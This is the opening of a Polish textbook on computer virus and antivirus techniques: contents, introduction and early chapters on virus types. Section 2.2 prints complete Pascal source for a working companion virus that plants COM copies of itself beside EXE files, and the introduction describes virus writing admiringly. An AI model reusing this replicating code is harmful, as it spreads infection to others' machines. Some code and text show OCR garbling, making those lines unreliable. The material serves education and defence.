SPIS ROZDZIAŁÓW
Wstęp ............................................ XV
Rozdział 1. Podstawowe wiadomości o wirusach ..............................1
Rozdział 2. Rodzaje wirusów ..............................................................5
Rozdział 3. Podział wirusów ze względu na sposób działania po uruchomieniu ..................................................................17
Rozdział 4. Obiekty atakowane przez wirusy ....................................33
Rozdział 5. Instalacja w pamięci operacyjnej ....................................97
Rozdział 6. Przejmowanie przerwań i znajdowanie czystych wejść do systemu ........................................................................109
Rozdział 7. Ukrywanie się w systemie operacyjnym .......................143
Rozdział 8. Szyfrowanie kodu ..........................................................173
Rozdział 9. Inne mechanizmy stosowane przez wirusy ...................213
Rozdział 10. Przyszłość wirusów .......................................................235
Rozdział 11. Rodzaje programów antywirusowych ............................241
Rozdział 12. Techniki używane przez programy antywirusowe .........247
Rozdział 13. Konwencje stosowane przez programy antywirusowe -standard CARO ............................................................299
Rozdział 14. Profilaktyka antywirusowa ............................................311
Rozdział 15. Literatura .......................................................................319
SPIS TREŚCI
Wstęp XV
Rozdział 1. Podstawowe wiadomości o wirusach .......... 1
1.1. Co to jest i jak działa wirus komputerowy ............................... 3
1.2. Języki programowania wykorzystane do pisania wirusów ...... 4
Rozdział 2. Rodzaje wirusów .......................................... 5
2.1. Wirusy pasożytnicze (ang. parasite infectors) ....................... 7
2.2. Wirusy towarzyszące (ang. companion infectors) ................. 8
2.3. Wirusy plików wsadowych (ang. batchviruses)....................... 12
2.4. Makrowirusy, wirusy makrosów (ang. macroviruses) .............. 13
2.5. Generatory wirusów ................................................................ 14
2.6. Robaki (ang. worms) .............................................................. 14
2.7. Konie trojańskie (ang. trojan horses) ...................................... 14
2.8. Bomby logiczne (ang. logical bombs)...................................... 15
Rozdział 3. Podział wirusów ze względu na sposób działania
po uruchomieniu ............................................................ 17
3.1. Wirusy nierezydentne (ang. non-resident yiruses) ............... 19
3.2. Wirusy rezydentme (ang. resident viruses) .......................... 21
3.2.1. Szybkie infektory (ang. fast infectors) .................................. 31
3.2.2. Wolne infektory (ang. slow infectors) ................................... 32
Rozdział 4. Obiekty atakowane przez wirusy .................. 33
4.1. Pliki...................................................................................35
4.1.1. Pliki wykonywalne COM ............................. 35
4.1.2. Pliki wykonywalne EXE ............................... 45
4.1.2.1. Pliki EXE dla systemu DOS (stare EXE) ..................... 45
4.1.2.2. Pliki EXE dla trybu chronionego (nowe EXE) .................. 57
4.1.2.2.1. Pliki EXE dla Windows (NE) ............................. 59
4.1.3. Pliki zawierające sterowniki urządzeń SYS (BIN, DRV) .... 66
4.1.4. Pliki systemowe DOS ............................... 75
4.1.4.1. Interpretator poleceń .................................... 75
4.1.4.2. Jądro systemu (ang, kemel infector) ........................ 75
4.1.5. Pliki wsadowe BAT ................................. 76
4.1.6. Pliki DOC ......................................... 77
4.1.7. Pliki XLS.......................................... 79
4.1.8. Pliki ASM ......................................... 80
4.2. Sektory systemowe .................................. 86
4.2.1. Główny Rekord Ładujący (ang. Master Boot Record - MBR) 86
4.3. Rekord ładujący (ang. BOOt-sector)..................... 92
4.4. Jednostki Alokacji Plików (JAP) (ang. dusters) ............ 94
4.5. Wirusy kombinowane (ang. multipartition) ................ 96
Rozdział 5. Instalacja w pamięci operacyjnej ............. 97
5.1. Instalacja w tablicy wektorów przerwań .................. 99
5.2. Instalacja w obszarze zmiennych DOS .................. 100
5.3. Instalacja w pamięci poniżej 640kB i UMB ............... 100
5.4. Instalacja w pamięci HMA ............................. 106
5.5. Nietypowe metody instalacji ........................... 107
5.5.1. Pamięć ekranu .................................... 107
5.5.2. Bufory dyskowe DOS ............................... 108
Rozdział 6. Przejmowanie przerwań i znajdowanie czystych
wejść do systemu ................................... 109
6.1. Najczęściej przejmowane i wykorzystywane przerwania ..... 111
6.2. Wykorzystanie funkcji DOS ............................ 117
6.3. Bezpośrednie zmiany w tablicy wektorów przerwań ,.,,,., 118
6.4. Włączanie się do istniejącego łańcucha obsługi przerwania
i znajdowanie czystych wejść do systemu (ang. tunnelling) .... 119
6.4.1. Korzystanie ze stałych adresów w systemie (przerwania
21hl2Fh) ............................................ 120
6.4.2. Wykorzystanie trybu krokowego procesora (ang. tracing)... 122
6.4.3. Tuneling rekursywny (ang, recursive tunnelling)........... 122
6.4.4. Trik 2F/13 ........................................ 124
6.5. Wykorzystanie trybu chronionego ....................... 141
6.6. Włączanie się jako program obsługi urządzenia ........... 142
Rozdział 7. Ukrywanie się w systemie operacyjnym ........ 143
7.1. Technika stealth ..................................... 145
7.1.1. Podawanie prawdziwych długości plików (ang, semi-stealth) 146
7.1.1.1. Polecenie DIR wywoływane z poziomu DOS ................. 146
7.1.1.2. Programy nakładkowe używające krótkich nazw programów
(DOS, Windows 3.1)...................................... 149
7.1.1.3. Programy wykorzystujące długie nazwy plików (Windows95)
oraz polecenie DIR wywoływane z poziomu okna Tryb MS-DOS . 150
7.1.2. Podawanie oryginalnych długości i zawartości plików
(ang.full stealth)....................................... 152
7.1.3. Podawanie prawdziwej zawartości sektorów (ang. Sectorlevel stealth) .............................................. 169
7.1.4. Fałszowanie odczytywanych sektorów na etapie obsługi przerwań sprzętowych (ang. hardware level stealth) ............... 169
7.2. Modyfikacja CMOS-a ................................. 170
7.3. Atrybut etykiet dysku (ang. VolumeID) .................. 171
7.4. Dodatkowe ścieżki na dyskach ......................... 171
Rozdział 8. Szyfrowanie kodu ......................... 173
8.1. Procedury szyfrujące kod ............................. 177
8.2. Procedury dekodujące ................................ 178
8.2.1. Polimorficzne procedury dekodujące ................... 179
8.2.1.1. Semi-polimorfizm ........................................ 179
8.2.1.2. Pełny polimorfizm ........................................ 193
Rozdział 9. Inne mechanizmy stosowane przez wirusy ..... 213
9.1. Sposoby dostępu do dysków .......................... 215
9.2. Sztuczki antydebuggerowe, antydeasemblerowe, antyemulacyj-
ne i antyheurystyczne .................................... 227
9.3. Optymalizacje kodu .................................. 231
9.4. Retrostruktury (techniki anty-antywirusowe), czyli walka z zainstalowanymi monitorami antywirusowymi .................... 232
Rozdział 10. Przyszłość wirusów ......................... 235
10.1. Wirusy dla różnych systemów (ang. multisystem, multiplatform
viruses) ............................................. 237
10.2. Wirusy infekujące wewnątrzplikowo (ang, surface infectors) 238
10.3. Wirusy zmienne genetycznie (mutujące swój kod) ........ 238
10.4. Wirusy infekujące nowe, nie infekowane dotychczas obiekty 239
Rozdział 11. Rodzaje programów antywirusowych ......... 241
11.1. Skanery (ang. scaners) ............................. 243
11.2. Monitory (ang. behaviour blockers, interceptors, resident
monitors) ............................................ 243
11.3. Szczepionki (ang. disinfectors) ....................... 244
11.4. Programy autoweryfikujące .......................... 244
11.5. Programy zliczające sumy kontrolne (ang. integniy checkers). 245
Rozdział 12. Techniki używane przez programy antywirusowe ....................................... 247
12.1. Skaning .......................................... 249
12.2. Heurystycze wyszukiwanie wirusów .................... 272
12.3. Tryb krokowy ...................................... 284
12.4. Emulacja procesora ................................. 284
12.5. Przynęty (ang. baits, decoys) ......................... 285
12.6. Odświeżanie programów systemowych w sektorach ....... 285
12.7. Blokowanie programów używających trybu krokowego ..... 286
12.8. Pobieranie wielkości pamięci operacyjnej ............... 291
Rozdział 13. Konwencje stosowane przez programy antywiru-
sowe - standard CARO .............................. 299
Rozdział 14. Profilaktyka antywirusowa .................. 311
14.1. Ochrona przed wirusami plików uruchamialnych ......... 313
14.2. Ochrona przed bombami logicznymi i końmi trojańskimi ... 315
14.3. Ochrona przed makrowirusami ........................ 316
Rozdział 15. Literatura ............................... 319
Wstęp
Tematem niiejszego opracowania są wirusy komputerowe jeden z najbardziej tajemniczych i kontrowersyjnych tworów istniejących w świecie komputerów.
Od początku swego istnienia wirusy komputerowe były owiane mgłą tajemnicy zaś ich twórców uznawano za ludzi wiedzących znacznie więcej niż zwykli śmiertelnicy. Tymczasem wirus to zwykły program komputerowy który choć może bardziej wyrafinowany od innych jest na pewno o wiele łatwiejszy do napisania niż jakakolwiek aplikacja użytkowa czy gra.
Większość spotykanych wirusów to prymitywne przeróbki, bazujące na istniejących od dawna, klasycznych już i uznawanych za wzorcowe wirusach, takich Jak Jerusalem, Vienna, Stoned, Vacsina czy wirusy Dark Avengera. Przeróbki ograniczają się najczęściej do zmiany tekstu wewnątrz wirusa lub ewentualnie sekwencji kodu, czego wynikiem jest kolejna z licznych mutacji znanego wirusa. Oprócz nich istnieje bardzo mała grupa wirusów, których pojawienie się na komputerowej scenie wiązało się z zastosowaniem przez ich autorów nowych, nieznanych jeszcze nikomu sztuczek. Do tych ostatnich zaliczają się niewątpliwie wirusy wspomnianego już wyżej Dark Avengera, najsłynniejszego chyba twórcy wirusów komputerowych. On to właśnie jako pierwszy zastosował metodę zmiennych procedur szyfrujących w swym polimorficznym enginie MtE, a także jako jeden z pierwszych potrafił omijać zainstalowane monitory antywirusowe, czy odnajdywać oryginalne wejścia do znajdujących się w BIOS-ie procedur obsługi przerwania 13h.
Pojawienie się nowego wirusa infekującego nie zajętą jeszcze do tej pory platformę sprzętową lub programową budzi zwykle nie lada sensację, zwłaszcza gdy w sprawę wmieszają się media, żerujące na
tego typu historiach. Pomimo że najczęściej trywialny, wirus taki otwiera bowiem kolejną furtkę dla całej rzeszy późniejszych racjonalizatorów oraz wywołuje istną lawinę komentarzy na temat bezpieczeństwa systemów komputerowych.
tak widać, twórcy wirusów tworzą środowisko rządzące się swoimi własnymi prawami. Cały czas trwa wyścig nad wymyśleniem jeszcze lepszych lub całkowicie nowych, nieznanych wirusów. Ciekawa przykład twórczego podejścia do programowania wirusów zademonstrował autor ukrywający się pod pseudonimem Stormbringer w wirusie JUMP. Nazwa wirusa nie jest przypadkowa, gdyż, po de-asemblacji listing tego wirusa składa się tylko i wyłącznie z samych rozkazów skoków (właściwy kod został sprytnie ukryty wewnątrz wirusa).
Prymat w programowaniu wirusów wiodą niezaprzeczalnie mieszkańcy państw byłego bloku wschodniego, głównie Bułgarzy, Rosjanie i Słowacy. Dzieje się tak głównie z powodu braku, w tych krajach unormowań prawnych dotyczących przestępstw komputerowych, które istnieją już w wielu państwach zachodnich.
W dobie globalnej ekspansji sieci Internet w zasadzie każda osoba chcąca dowiedzieć się czegoś o wirusach może dostać się do bogatych, istniejących na całym świecie archiwów, poświęconych w całości programowaniu wirusów. Oferują one wirusy w wersji źródłowej, generatory wirusów, kolekcje złapanych egzemplarzy wirusów, a także tzw. ziny, czyli prowadzone przez wyspecjalizowane grupy magazyny (w postaci plików tekstowych lub stron HTML), poświęcone programowaniu wirusów (np.: 40HEX, VLAD, NukE InfoJournal, VBB, Immortal Riot). Za sprawą Intemetu w skład grup prowadzących te magazyny wchodzą ludzie ze wszystkich stron świata, którzy, co ciekawe, najczęściej deklarują się jako zagorzali przeciwnicy wirusów destrukcyjnych, a samo programowanie wirusów traktują jako swoistą sztukę. Po części mają rację, gdyż pisanie wirusów jest nie tylko świetną okazją do dogłębnego poznania systemu operacyjnego, ale i sprawdzenia własnych umiejętności programistycznych.
Liczba wirusów złapanych na świecie rośnie z roku na rok i nic me wykazuje na to, aby tendencja ta miała ulec gwałtownej zmianie. W kolekcji wirusów należącej do jednej z czołowych firm amerykańskich produkującej programy antywirusowe znajduje się obecnie ponad 20000 próbek wirusów, z czego ok. 6000 to wirusy całkowicie
różne. Należy pamiętać, iż istnienie wirusów komputerowych jest ściśle związane z niedoskonałością zarażanych przez nie systemów operacyjnych. Twórcy wirusów skrzętnie wykorzystują do swych celów wszelkie możliwe luki w systemie: nieudokumentowane funkcje, systemowe struktury danych, a nawet odnalezione własnoręcznie błędy w kodzie systemu. To właśnie wirusy - paradoksalnie - pośrednio wpływają na wzrost bezpieczeństwa systemów komputerowych, gdyż kolejne wersje różnych środowisk zwykle starają się załatać istniejące luki w systemie.
Osobne miejsce w dyskusjach na temat wirusów zajmują programy antywirusowe (w literaturze często określane skrótem AV). O ile pisanie wirusów jest raczej indywidualnym procesem twórczym, o tyle pisanie skutecznych programów antywirusowych stało się domeną całych grup programistycznych, których członkowie muszą posiadać o wiele większą wiedzę na temat wirusów niż typowy twórca wirusów. Usuwanie wirusów jest procesem naprawczym, a to wiąże się z odpowiedzialnością, którą muszą wziąć na siebie twórcy programów AV. Autorzy wirusów nie muszą przejmować się ewentualnymi szkodami powstałymi na skutek ich błędu lub nawet zwykłej niewiedzy. W przypadku programów AV nie można pozwolić sobie nawet na najmniejsze potknięcie. O ile dodawanie do skanera kolejnych sygnatur typowych i trywialnych wirusów to zajęcie zajmujące niewiele czasu, o tyle dekodo-wanie i rozszyfrowywanie kodu najnowszych wirusów, używających kilkustopniowych zmiennych procedur szyfrujących, sztuczek anty-emulacyjnych, antydebuggerowych i antydeasemblerowych, zarażających dużą ilość obiektów i będących zwykle wolnymi infektorami, to zadanie zajmujące bardzo dużo czasu, a i tak często okazuje się, iż zastosowana metoda nic umożliwia odnalezienia wszystkich wariantów wirusa.
Aby przyspieszyć wymianę informacji na temat wirusów, autorzy różnych programów antywirusowych z całego świata utworzyli coś w rodzaju organizacji, która zajmuje się zbieraniem danych o istniejących wirusach oraz o technikach ich wykrywania i usuwania.
Poniższe rozdziały powinny przynajmniej częściowo wyjaśnić mechanizmy wykorzystywane przez nowoczesne wirusy i programy antywirusowe. Oprócz typowych i trywialnych sztuczek, stosowanych od dawna przez wyżej wymienione programy, omówionych zostało kilka bardziej zaawansowanych technik, m.in.:polimorfizm (wykorzystywanie zmiennych procedur szyfrujących);
> stealth (zaawansowane ukrywanie się w systemie);
> heurystyka (wykrywanie nowych, nieznanych wirusów na podstawie znajomości charakterystycznych ciągów instrukcji).
Do zrozumienia całości materiału niezbędna jest podstawowa znajomość komputerów PC oraz systemów DOS i WINDOWS. Niezbędna jest także przynajmniej pobieżna znajomość asemblera procesorów 80x86 i jakiegoś języka wysokiego poziomu (np.: Pascal, C). Niezorientowanego czytelnika odsyłam do pozycji umieszczonych w spisie na końcu książki.
Dla uproszczenia, w opracowaniu została zastosowana pewna konwencja, dotycząca używania w tekście funkcji systemu DOS i BIOS. Występujące w tekście skróty (XXXX/YY) oznaczają użycie funkcji XXXX przerwania programowego YY. Zapis (4B00/21) oznaczać więc będzie instrukcję uruchomienia programu przy użyciu funkcji 4B00h przerwania programowego 21h obsługiwanego przez DOS, a (4E/4F/21) oznaczać będzie wywołanie funkcji 4Eh lub 4Fh przerwania programowego 21h, w tym przypadku realizujących poszukiwania pierwszej (funkcja 4Eh) lub kolejnej (funkcja 4Fh) pozycji katalogu. Dokładny opis funkcji systemu DOS i BIOS można znaleźć w wielu różnych opracowaniach, z których najlepszym i najpełniejszym wydaje się stale rozwijana, dostępna w angielskojęzycznej wersji elektronicznej, lista przerwań Interrupt List Ralpha Browne'a.
Na koniec warto jeszcze dodać kilka uwag o słownictwie używanym w opracowaniu. Większość terminów związanych z komputerami jest siłą rzeczy pochodzenia angielskiego. Próby tworzenia ich polskich odpowiedników mijają się najczęściej z celem, gdyż powstałe w ten sposób neologizmy nie odzwierciedlają w pełni sensu słów angielskich. Liczne przykłady z literatury komputerowej (i nie tylko) ostatnich kilku lat dowiodły, iż jedynym sensownym wyjściem z tej sytuacji jest integracja pewnych terminów obcojęzycznych z językiem polskim. Z tego też powodu w opracowaniu używane są (w niezbędnym minimum) terminy angielskie opatrzone odpowiednimi komentarzami w języku polskim. W sytuacji niemożności znalezienia adekwatnego polskiego odpowiednika dla słowa angielskiego używane będzie słowo obce (np. stealth).
1.1. Co to jest i jak działa wirus komputerowy
Wirus komputerowy definiowany jest najczęściej jako krótki program mający zdolność samopowielania po jego uruchomieniu. Jest on zwykle przenoszony w zainfekowanych wcześniej plikach lub w pierwszych sektorach fizycznych logicznych dysków. Proces infekcji polega zazwyczaj na odpowiedniej modyfikacji struktury pliku albo sektora. Zainfekowaną ofiarę często nazywa się nosicielem (ang. host), a proces samopowielania - replikacją. Długość typowego wirusa waha się w granicach od kilkudziesięciu bajtów do kilku kilobajtów i w dużym stopniu zależy od umiejętności programistycznych jego twórcy, a także od języka programowania użytego do jego napisania. Od umiejętności i zamierzeń autora zależą także efekty, jakie wirus będzie wywoływał w zainfekowanym systemie (oczywiście, nie zawsze musi być to próba formatowania dysku twardego).
Większość z istniejących wirusów zawiera tylko kod odpowiedzialny za replikację (ang. dropper), natomiast "specjalne efekty" to zwykle działania uboczne spowodowane przez błędy.
Z powyższego wynika jednoznacznie, iż pomijając istniejącą zawsze możliwość sabotażu, zarażenie komputera wirusem nastąpić może tylko przy niejawnej współpracy użytkownika, który, bądź to uruchamiając zarażony program, bądź próbując wczytać system z zarażonej dyskietki, a nawet odczytując zainfekowany dokument, nieświadomie sam instaluje wirusa w używanym przez siebie komputerze.
1.2. Języki programowania wykorzystywane do pisania wirusów.
Do zaprogramowania wirusa wystarczy znajomość dowolnego popularnego języka programowania, np. Pascala czy C, jednak największy procent wirusów pisany jest w czystym asemblerze. Spowodowane jest to głównie specyfiką kodu generowanego przez ten język, a zwłaszcza jego zwięzłością. Kod maszynowy programu, który z punktu widzenia użytkownika nie robi nic, w językach wysokiego poziomu zajmie od kilkuset bajtów do kilku, a nawet kilkuset kilobajtów. W asemblerze podobny program zajmie od jednego (instrukcja RET w pliku COM) do czterech bajtów (wywołanie funkcji 4Ch przerwania 21h). Spowodowane jest to tym, iż do każdego wygenerowanego przez siebie programu kompilatory języków wysokiego poziomu dodają standardowe prologi i epilogi, niewidoczne dla piszącego w danym języku programisty, które są odpowiedzialne m.in. za obsługę błędów, stosu, operacje we/wy itp. Można powiedzieć, iż długość programu wynikowego (rozumianego jako kod maszynowy) jest wprost proporcjonalna do poziomu języka programowania, w którym został on napisany. Na korzyść asemblera przemawia także fakt, iż z jego poziomu mamy bardzo dużą swobodę w dostępie do pamięci czy portów, a programista ma możliwość świadomego wpływu na kształt przyszłego programu, np. w zakresie używanych instrukcji czy rozwiązań programowych. Jak widać, programy napisane w asemblerze są optymalne pod względem szybkości działania i długości kodu, a więc język ten jest jakby stworzony do programowania wirusów. Jedyną wadą asemblera jest to, iż programów w nim napisanych nie można przenosić na komputery o innej architekturze, stąd mogą one egzystować tylko w jednej rodzinie komputerów.
Oprócz typowych języków programowania do zaprojektowania wirusa można wykorzystać języki makr, wbudowane w nowoczesne edytory tekstów lub arkusze kalkulacyjne. Zawarte w nich mechanizmy pozwalają na infekcję każdego otwieranego przez program dokumentu lub arkusza. Ze względu na poziom abstrakcji na Jakim operują języki makr, są one wymarzonym narzędziem do tworzenia wirusów, zwłaszcza dla początkujących programistów. Nie muszą się oni bowiem przedzierać przez dokumentację systemu czy też formaty infekowanych plików. Wszystkie operacje na fizycznych obiektach są zaimplementowane w makrach i wykonują się bez konieczności ingerencji programisty.
ROZDZIAŁ 2
2.1. Wirusy pasożytnicze (ang. parasite infectors)
W zasadzie większość istniejących wirusów to wirusy pasożytnicze, które wykorzystują swoje ofiary do transportu, modyfikując ich strukturę wewnętrzną. Jedynym ratunkiem dla zainfekowanych obiektów jest użycie szczepionki lub w ostateczności kopii zapasowych, gdyż zzarażane pliki z reguły nie są przez wirusa leczone. Wyjątek stanowią nieliczne wirusy wykorzystujące pliki tylko do transportu między komputerami, mające za główny cel infekcję tablicy partycji lub BOOT sektora dysku twardego. Po zainfekowaniu któregoś z tych obiektów wirus zmienia działanie i leczy wszystkie używane pliki znajdujące się na twardym dysku, a infekuje jedynie pliki już znajdujące się na dyskietkach lub dopiero na nie kopiowane.
Ze
względu na miejsce zajmowane w zainfekowanych plikach wirusy
pasożytnicze dzieli się na:
> Wirusy nadpisujące (ang.
overwrite infectors), lokujące się na początku pliku, często nie
zapamiętujące poprzedniej zawartości pliku (co w efekcie
nieodwracalnie niszczy plik);
> Wirusy lokujące się na
końcu pliku (ang. end of file infectors), najbardziej
rozpowszechniona odmiana wirusów pasożytniczych,
które modyfikują pewne ustalone struktury na początku pliku tak,
aby wskazywały na wirusa, po czym dopisują się na jego końcu;
>
Wirusy nagłówkowe (ang. header infectors), lokujące się w
nagłówku plików EXE przeznaczonych dla systemu DOS; wykorzystują
one fakt, iż nagłówek plików EXE jest standardowo ustawiany przez
programy linkujące na wielokrotność jednego sektora (512 bajtów).
Zwykle wirusy te nie przekraczają rozmiaru jednego sektora i
infekuje poprzez przejęcie funkcji BIOS służących do odczytu
i zapisu sektorów (02,03/13);
> Wirusy lokujące się w pliku w miejscu gdzie jest jakiś pusty, nie wykorzystany obszar (np. wypełniony ciągiem zer), który można nadpisać nie niszcząc pliku (ang. cave infectors),
> Wirusy lokujące się w dowolnym miejscu pliku (ang. surface infectors), dość rzadkie, bardzo trudne do napisania;
> Wirusy wykorzystujące część ostatniej Jednostki Alokacji Pliku JAP (ang. slack space infector), korzystające z faktu, iż plik rzadko zajmuje dokładnie wielokrotność jednej JAP.
2.2. Wirusy towarzyszące (ang. companion infectors)
Wirusy tego typu są najczęściej pisane w językach wysokiego poziomu. Atakują one pliki, a ich działanie opiera się na hierarchii stosowanej przez DOS podczas uruchamiania programów.
W momencie uruchomiania programu, w przypadku nie podania rozszerzenia uruchamianego pliku, najpierw poszukiwany jest plik o rozszerzeniu COM, potem EXE, a na końcu BAT. W przypadku wykorzystywania interpretatora poleceń 4DOS dochodzą Jeszcze pliki BTM, poszukiwane podczas uruchamiania programu przed plikami BAT. Na przykład, jeżeli w jednym katalogu istnieją 3 pliki:
- PROG.BAT,
- PROG.COM,
- PROG.EXE,
to kolejność ich uruchamiania byłaby następująca:
- PROG.COM,
- PROG.EXE,
- PROG.BAT.
Plik PROG.COM będzie się uruchamiać, ilekroć będziemy podawać nazwę PROG bez rozszerzenia lub z rozszerzeniem COM. Plik PROG.EXE można w tym wypadku uruchomić wyłącznie poprzez podanie jego pełnej nazwy, bądź też poprzez uprzednie usunięcie pliku PROG.COM z danego katalogu. Z kolei uruchomienie pilku BAT wymaga albo usunięcia z katalogu obu plików: PROG-COM i PROG.EXE, albo też podania w linii poleceń całej jego nazwy. Jak widać, wirus ma kilka możliwości, aby zainfekować uruchamiany program:
- Istnieje plik COM: nie można zastosować infekcji;
- Istnieje plik EXE: można utworzyć plik o takiej samej nazwie, o rozszerzeniu COM, zawierający wirusa;
- Istnieje plik BAT: można utworzyć plik o takiej samej nazwie, o rozszerzeniu COM lub EXE, zawierający wirusa.
Następna próba uruchomienia tak zarażonego programu spowoduje najpierw uruchomienie podszywającego się pod program wirusa, a dopiero ten, po zakończeniu pracy, przekaże sterowanie do programu macierzystego, najczęściej poprzez wywołanie programu interpretatora poleceń z parametrem: /C NazwaPlikuOfiary.
Ciekawym rozszerzeniem techniki opisanej powyżej jest sposób infekcji stosowany przez wirusy towarzyszące, wykorzystujące zmienną środowiskową PATH (ang. path companion infectors). Zmienna PATH określa listę katalogów przeszukiwanych przez system DOS podczas uruchamiania programu. Wirus wykorzystujący tę technikę tworzy plik, zawierający kod wirusa w innym katalogu, znajdującym się w zmiennej środowiskowej PATH przed katalogiem, w którym znajduje się zarażana ofiara. W tym wypadku infekcję można zastosować dla dowolnego z plików COM, EXE, BAT, gdyż kolejność uruchamiania zależna jest przede wszystkim od zawartości zmiennej PATH. Na przykład, jeżeli zmienna środowiskowa PATH określona jest jako:
PATH = C:\;C:\DOS;C:\WINDOWS,
a w katalogu C:\DOS umieścimy plik WIN.BAT, to podczas kolejnego wywoływania systemu WINDOWS (poprzez uruchomienie programu C:\WINDOWS\WIN.COM bez podawania ścieżki, czyli najczęściej WIN [ENTER]) z katalogu innego niż C:\WINDOWS system uruchomi najpierw plik C:\DOS\WIN.BAT, a ten dopiero uruchomi właściwy program C:\WINDOWS\WIN.COM. Poniżej przedstawiono przykład prostego wirusa towarzyszącego. Jest on napisany w języku Pascal i infekuje parę plików COM, EXE.
(*;------------------------------------------------------------------------;*)
(*; ;*)
(*; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;*)
(*; ;*)
(*; KOMPAN v1.0, Autor : Adam Blaszczyk 1997 ;*)
(*; ;*)
(*; Prosty wirus typu towarzyszacego ;*)
(*; Infekuje pliki EXE w biezacym katalogu ;*)
(*; Do istniejacego pliku EXE dopisuje plik o rozszerzeniu COM ;*)
(*; ;*)
(*;------------------------------------------------------------------------;*)
{$A-,B-,D-,E-,F-,G-,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X-,Y-}
{$M 8192,0,16384}
uses
Dos, Crt;
const
MaskaEXE = '*.EXE';
var
Szuk : SearchRec;
NazwaNosiciela,
NazwaOfiary : String;
PlikNosiciela,
PlikOfiary : File;
DlugoscNosiciela : LongInt;
Bufor : Pointer;
I : Byte;
Status : Boolean;
begin
WriteLn;
WriteLn (' KOMPAN v1.0, Autor : Adam Blaszczyk 1997');
WriteLn;
NazwaNosiciela := ParamStr (0);
WriteLn (' Czy chcesz uruchomic wirusa (T/N) ?');
if UpCase(ReadKey)='T' then
begin
WriteLn;
Status :=False;
FindFirst (MaskaEXE, AnyFile, Szuk);
while (DosError = 0) and (IOResult = 0) and (not Status) do
begin
with Szuk do
if not ((Name='.') or
(Name='..') or
(not (Attr and Directory and VolumeID<>0))) then
begin
NazwaOfiary:=Name;
Delete (NazwaOfiary, Pos ('EXE',NazwaOfiary),3);
NazwaOfiary:=NazwaOfiary+'COM';
Assign (PlikOfiary, NazwaOfiary);
Reset (PlikOfiary,1);
if IOResult <> 0 then
begin
Status:=True;
WriteLn (' Tworze KOMPANA : ',NazwaOfiary);
Assign (PlikNosiciela, NazwaNosiciela);
Reset (PlikNosiciela, 1);
DlugoscNosiciela := FileSize (PlikNosiciela);
GetMem (Bufor,DlugoscNosiciela);
BlockRead (PlikNosiciela, Bufor^, DlugoscNosiciela);
ReWrite (PlikOfiary,1);
BlockWrite (PlikOfiary , Bufor^, DlugoscNosiciela);
Close (PlikNosiciela);
Close (PlikOfiary);
FreeMem (Bufor, DlugoscNosiciela);
end;
end;
FindNext (Szuk);
end;
If Not Status then WriteLn (' Nie znalazlem zadnego kandydata do infekcji !');
end;
Delete (NazwaNosiciela,Pos ('.COM',NazwaNosiciela),4);
NazwaNosiciela := '/C '+NazwaNosiciela+'.EXE';
for I:=1 to ParamCount do
NazwaNosiciela := NazwaNosiciela +' '+ParamStr(I);
SwapVectors;
Exec(GetEnv('COMSPEC'), NazwaNosiciela);
SwapVectors;
end.
2.3. Wirusy plików wsadowych (ang. batchviruses)
Wirusy plików wsadowych wykorzystujące do transportu pliki BAT, istnieją od dość dawna, pomimo raczej ubogiego zestawu środków, jakimi dysponuje ich potencjalny twórca. Może wydawać się to niedorzeczne, lecz często potrafią infekować nie tylko pliki BAT, ale także pliki COM, EXE czy sektor tablicy partycji (wymaga to odpowiedniego, wcale nie tak trudnego, zaprogramowania).
Po uruchomieniu zainfekowanego pliku wsadowego tworzony jest plik uruchamiamy COM lub EXE (za pomocą polecenia ECHO, którego parametry są przekierowywane do pliku), zawierający właściwy kod infekujący pliki BAT. Po utworzeniu jest on wykonywany, a następnie kasowany.
Ze względu na to, iż procesor nie rozróżnia kodu i danych, można, poprzez sprytną manipulację, utworzyć plik, który będzie mógł się wykonać zarówno Jako typowy plik BAT, jak i plik COM.
Na przykład typowe polecenia plików wsadowych, wykonywane przez procesor jako część kodu programu COM, będą rozumiane jako:
polecenie pliku BAT |
instrukcje widziane przez procesor |
REM |
52h PUSH DX ; db 'R' 45h INC BP ; db 'E' 4Dh DEC BP ; db 'M' |
ECHO |
45h INC BP : db 'E' 43h INC BX : db 'C' 48h DEC AX ; db 'H' 4Fh DEC Dl ; db 'O' |
@ |
40h INC AX ; db '@' |
7t0 (deklaracja etykiety - interpretator nie wykonuje) |
3Ah 37h CMP DH.[BX]; db ':7' 74h 30h JZ $+30h ; 't0' |
Po uruchomieniu zainfekowanego w ten sposób pliku BAT wirus kopiuje się do pliku tymczasowego o rozszerzeniu COM i wykonuje się, tym razem jako kod maszynowy.
Poniżej zamieszczono przykład prostego pliku (na dyskietce, w katalogu COMBAT), który wykonuje się niezależnie od tego, czy jest wywoływany z rozszerzeniem BAT czy COM. Po uruchomieniu wyświetla on napis informujący o rozszerzeniu, z jakim został wywołany.
:7█:
@ECHO OFF
@ECHO Dzialam jako plik BAT !
@GOTO KONIEC
¬II-I@ªM_-!ªL-!Dzialam jako plik COM !$
:KONIEC
2.4. Makrowirusy, wirusy makrosów (ang. macroviruses)
Tego typu wirusy to jeden z najnowszych pomysłów. Makrowirusy nie zarażają programów uruchamiałnych, lecz pliki zawierające definicje makr. Najpopularniejsze obiekty infekcji to pliki DOC (dokumenty: Microsoft Word), XLS (arkusze kalkulacyjne: Microsoft Excel), SAM (dokumenty: AmiPro).
Do mnożenia się makrowirusy wykorzystują funkcje zawarte w językach makr, wbudowanych w powyższe aplikacje, np. WordBasic w Microsoft Word lub Visual Basie for Applications w programie Microsoft Excel.
2.5. Generatory wirusów
Na przestrzeni ostatnich kilku lat pojawiło się wiele programów umożliwiających stworzenie własnego wirusa, nawet bez znajomości systemu, czy mechanizmów wykorzystywanych przez wirusy. Narzędzia tego typu są dostępne w sieci Internet. Korzystając z gotowych modułów w asemblerze można utworzyć wirusa o zadanych parametrach, wybieranych najczęściej przy pomocy przyjaznego użytkownikowi menu lub specjalnego pliku definicyjnego. Można więc określić zakres obiektów infekowanych przez tworzonego wirusa, rodzaj efektów specjalnych, sposób ewentualnej destrukcji, a także warunki zadziałania efektów specjalnych. Oprócz kodu wynikowego wirusa (gotowego do uruchomienia) generatory tworzą także pełne, najczęściej dobrze opisane źródła w asemblerze, co umożliwia przeciętnemu, ale zainteresowanemu pisaniem wirusów użytkownikowi, dokształcenie się w tej dziedzinie. Najbardziej znane generatory wirusów to: IVP (Instant Virus Production Kit), VCL (Virus Construction Laboratory), PS-MPC (Phalcon-Skism-Mass Produced Code Generator), G2 (G Squared) i NRLG (NukE Randomic Life Generator).
2.6. Robaki (ang. worms)
